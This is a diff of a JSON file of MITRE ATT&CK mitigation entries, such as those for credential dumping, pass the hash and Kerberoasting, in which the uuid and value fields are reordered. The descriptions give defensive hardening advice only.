"description": "Follow best practices for mitigation of activity related to establishing Windows Admin Shares. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Network Share Connection Removal Mitigation - T1126",
- "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb",
"meta": {
"external_id": "T1126"
- }
+ },
+ "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb",
+ "value": "Network Share Connection Removal Mitigation - T1126"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Connection Proxy Mitigation - T1090",
- "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8",
"meta": {
"external_id": "T1090"
- }
+ },
+ "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8",
+ "value": "Connection Proxy Mitigation - T1090"
},
{
"description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)",
- "value": "Password Policy Discovery Mitigation - T1201",
- "uuid": "49961e75-b493-423a-9ec7-ac2d6f55384a",
"meta": {
"external_id": "T1201"
- }
+ },
+ "uuid": "49961e75-b493-423a-9ec7-ac2d6f55384a",
+ "value": "Password Policy Discovery Mitigation - T1201"
},
{
"description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Browser Bookmark Discovery Mitigation - T1217",
- "uuid": "1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67",
"meta": {
"external_id": "T1217"
- }
+ },
+ "uuid": "1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67",
+ "value": "Browser Bookmark Discovery Mitigation - T1217"
},
{
"description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)",
- "value": "Time Providers Mitigation - T1209",
- "uuid": "a1482e43-f3ff-4fbd-94de-ad1244738166",
"meta": {
"external_id": "T1209"
- }
+ },
+ "uuid": "a1482e43-f3ff-4fbd-94de-ad1244738166",
+ "value": "Time Providers Mitigation - T1209"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Application Window Discovery Mitigation - T1010",
- "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b",
"meta": {
"external_id": "T1010"
- }
+ },
+ "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b",
+ "value": "Application Window Discovery Mitigation - T1010"
},
{
"description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as Windows Remote Management can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.",
- "value": "External Remote Services Mitigation - T1133",
- "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2",
"meta": {
"external_id": "T1133"
- }
+ },
+ "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2",
+ "value": "External Remote Services Mitigation - T1133"
},
{
"description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
- "value": "Pass the Hash Mitigation - T1075",
- "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e",
"meta": {
"external_id": "T1075"
- }
+ },
+ "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e",
+ "value": "Pass the Hash Mitigation - T1075"
},
{
"description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Account Discovery Mitigation - T1087",
- "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97",
"meta": {
"external_id": "T1087"
- }
+ },
+ "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97",
+ "value": "Account Discovery Mitigation - T1087"
},
{
"description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)",
- "value": "Trusted Developer Utilities Mitigation - T1127",
- "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0",
"meta": {
"external_id": "T1127"
- }
+ },
+ "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0",
+ "value": "Trusted Developer Utilities Mitigation - T1127"
},
{
"description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Pass the Ticket Mitigation - T1097",
- "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d",
"meta": {
"external_id": "T1097"
- }
+ },
+ "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d",
+ "value": "Pass the Ticket Mitigation - T1097"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "System Owner/User Discovery Mitigation - T1033",
- "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44",
"meta": {
"external_id": "T1033"
- }
+ },
+ "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44",
+ "value": "System Owner/User Discovery Mitigation - T1033"
},
{
"description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)",
- "value": "Credential Dumping Mitigation - T1003",
- "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a",
"meta": {
"external_id": "T1003"
- }
+ },
+ "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a",
+ "value": "Credential Dumping Mitigation - T1003"
},
{
"description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
- "value": "Regsvr32 Mitigation - T1117",
- "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432",
"meta": {
"external_id": "T1117"
- }
+ },
+ "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432",
+ "value": "Regsvr32 Mitigation - T1117"
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Process Hollowing Mitigation - T1093",
- "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43",
"meta": {
"external_id": "T1093"
- }
+ },
+ "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43",
+ "value": "Process Hollowing Mitigation - T1093"
},
{
"description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.",
- "value": "LC_MAIN Hijacking Mitigation - T1149",
- "uuid": "6e7db820-9735-4545-bc64-039bc4ce354b",
"meta": {
"external_id": "T1149"
- }
+ },
+ "uuid": "6e7db820-9735-4545-bc64-039bc4ce354b",
+ "value": "LC_MAIN Hijacking Mitigation - T1149"
},
{
"description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nApply SID Filtering to domain trusts to exclude SID-History from requests to access domain resources (netdom trust /domain: /quarantine:yes (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Domain SID Filtering is disabled by default.\n\nApply SID Filtering to forest trusts to exclude SID-History from request to access forest resources (netdom trust /domain: /EnableSIDHistory:no (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Forest SID Filtering is active by default, but may block child domains from transitively accessesing the forest trust.\n\nEnsure SID Filter Quarantining is enabled on trusted external domains (netdom trust /domain: /quarantine (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller) to ensure authentication requests only include SIDs from that domain. SID Filter Quarantining is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID) Filtering Quarantining Jan 2009",
- "value": "SID-History Injection Mitigation - T1178",
- "uuid": "b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55",
"meta": {
"external_id": "T1178"
- }
+ },
+ "uuid": "b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55",
+ "value": "SID-History Injection Mitigation - T1178"
},
{
"description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.",
- "value": "Startup Items Mitigation - T1165",
- "uuid": "94927849-03e3-4a07-8f4c-9ee21b626719",
"meta": {
"external_id": "T1165"
- }
+ },
+ "uuid": "94927849-03e3-4a07-8f4c-9ee21b626719",
+ "value": "Startup Items Mitigation - T1165"
},
{
"description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Execution through API Mitigation - T1106",
- "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8",
"meta": {
"external_id": "T1106"
- }
+ },
+ "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8",
+ "value": "Execution through API Mitigation - T1106"
},
{
"description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Taint Shared Content Mitigation - T1080",
- "uuid": "f0a42cad-9b1f-44da-a672-718f18381018",
"meta": {
"external_id": "T1080"
- }
+ },
+ "uuid": "f0a42cad-9b1f-44da-a672-718f18381018",
+ "value": "Taint Shared Content Mitigation - T1080"
},
{
"description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Redundant Access Mitigation - T1108",
- "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e",
"meta": {
"external_id": "T1108"
- }
+ },
+ "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e",
+ "value": "Redundant Access Mitigation - T1108"
},
{
"description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.",
- "value": "Domain Fronting Mitigation - T1172",
- "uuid": "62ae52c9-7197-4f5b-be1d-10d2e1df2c96",
"meta": {
"external_id": "T1172"
- }
+ },
+ "uuid": "62ae52c9-7197-4f5b-be1d-10d2e1df2c96",
+ "value": "Domain Fronting Mitigation - T1172"
},
{
"description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in Obfuscated Files or Information.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
- "value": "Spearphishing Attachment Mitigation - T1193",
- "uuid": "8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119",
"meta": {
"external_id": "T1193"
- }
+ },
+ "uuid": "8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119",
+ "value": "Spearphishing Attachment Mitigation - T1193"
},
{
"description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Audio Capture Mitigation - T1123",
- "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d",
"meta": {
"external_id": "T1123"
- }
+ },
+ "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d",
+ "value": "Audio Capture Mitigation - T1123"
},
{
"description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "New Service Mitigation - T1050",
- "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab",
"meta": {
"external_id": "T1050"
- }
+ },
+ "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab",
+ "value": "New Service Mitigation - T1050"
},
{
"description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)",
- "value": "CMSTP Mitigation - T1191",
- "uuid": "91816292-3686-4a6e-83c4-4c08513b9b57",
"meta": {
"external_id": "T1191"
- }
+ },
+ "uuid": "91816292-3686-4a6e-83c4-4c08513b9b57",
+ "value": "CMSTP Mitigation - T1191"
},
{
"description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)",
- "value": "Scripting Mitigation - T1064",
- "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6",
"meta": {
"external_id": "T1064"
- }
+ },
+ "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6",
+ "value": "Scripting Mitigation - T1064"
},
{
"description": "Prevent plist files from being modified by users by making them read-only.",
- "value": "Plist Modification Mitigation - T1150",
- "uuid": "2d704e56-e689-4011-b989-bf4e025a8727",
"meta": {
"external_id": "T1150"
- }
+ },
+ "uuid": "2d704e56-e689-4011-b989-bf4e025a8727",
+ "value": "Plist Modification Mitigation - T1150"
},
{
"description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
- "value": "Rundll32 Mitigation - T1085",
- "uuid": "8c918d8a-11c5-4ffd-af10-e74bc06bdfae",
"meta": {
"external_id": "T1085"
- }
+ },
+ "uuid": "8c918d8a-11c5-4ffd-af10-e74bc06bdfae",
+ "value": "Rundll32 Mitigation - T1085"
},
{
"description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.",
- "value": "Credentials in Registry Mitigation - T1214",
- "uuid": "4490fee2-5c70-4db3-8db5-8d88767dbd55",
"meta": {
"external_id": "T1214"
- }
+ },
+ "uuid": "4490fee2-5c70-4db3-8db5-8d88767dbd55",
+ "value": "Credentials in Registry Mitigation - T1214"
},
{
"description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.",
- "value": "Multi-hop Proxy Mitigation - T1188",
- "uuid": "752db800-ea54-4e7a-b4c1-2a0292350ea7",
"meta": {
"external_id": "T1188"
- }
+ },
+ "uuid": "752db800-ea54-4e7a-b4c1-2a0292350ea7",
+ "value": "Multi-hop Proxy Mitigation - T1188"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Fallback Channels Mitigation - T1008",
- "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514",
"meta": {
"external_id": "T1008"
- }
+ },
+ "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514",
+ "value": "Fallback Channels Mitigation - T1008"
},
{
"description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.",
- "value": "Exploitation for Client Execution Mitigation - T1203",
- "uuid": "f2dcee22-c275-405e-87fd-48630a19dfba",
"meta": {
"external_id": "T1203"
- }
+ },
+ "uuid": "f2dcee22-c275-405e-87fd-48630a19dfba",
+ "value": "Exploitation for Client Execution Mitigation - T1203"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "System Service Discovery Mitigation - T1007",
- "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2",
"meta": {
"external_id": "T1007"
- }
+ },
+ "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2",
+ "value": "System Service Discovery Mitigation - T1007"
},
{
"description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.",
- "value": "Indicator Removal on Host Mitigation - T1070",
- "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0",
"meta": {
"external_id": "T1070"
- }
+ },
+ "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0",
+ "value": "Indicator Removal on Host Mitigation - T1070"
},
{
"description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
- "value": "Service Registry Permissions Weakness Mitigation - T1058",
- "uuid": "9378f139-10ef-4e4b-b679-2255a0818902",
"meta": {
"external_id": "T1058"
- }
+ },
+ "uuid": "9378f139-10ef-4e4b-b679-2255a0818902",
+ "value": "Service Registry Permissions Weakness Mitigation - T1058"
},
{
"description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)",
- "value": "Kerberoasting Mitigation - T1208",
- "uuid": "a3e12b04-8598-4909-8855-2c97c1e7d549",
"meta": {
"external_id": "T1208"
- }
+ },
+ "uuid": "a3e12b04-8598-4909-8855-2c97c1e7d549",
+ "value": "Kerberoasting Mitigation - T1208"
},
{
"description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Timestomp Mitigation - T1099",
- "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488",
"meta": {
"external_id": "T1099"
- }
+ },
+ "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488",
+ "value": "Timestomp Mitigation - T1099"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "System Network Configuration Discovery Mitigation - T1016",
- "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40",
"meta": {
"external_id": "T1016"
- }
+ },
+ "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40",
+ "value": "System Network Configuration Discovery Mitigation - T1016"
},
{
"description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.",
- "value": "Execution through Module Load Mitigation - T1129",
- "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf",
"meta": {
"external_id": "T1129"
- }
+ },
+ "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf",
+ "value": "Execution through Module Load Mitigation - T1129"
},
{
"description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.",
- "value": "Shared Webroot Mitigation - T1051",
- "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5",
"meta": {
"external_id": "T1051"
- }
+ },
+ "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5",
+ "value": "Shared Webroot Mitigation - T1051"
},
{
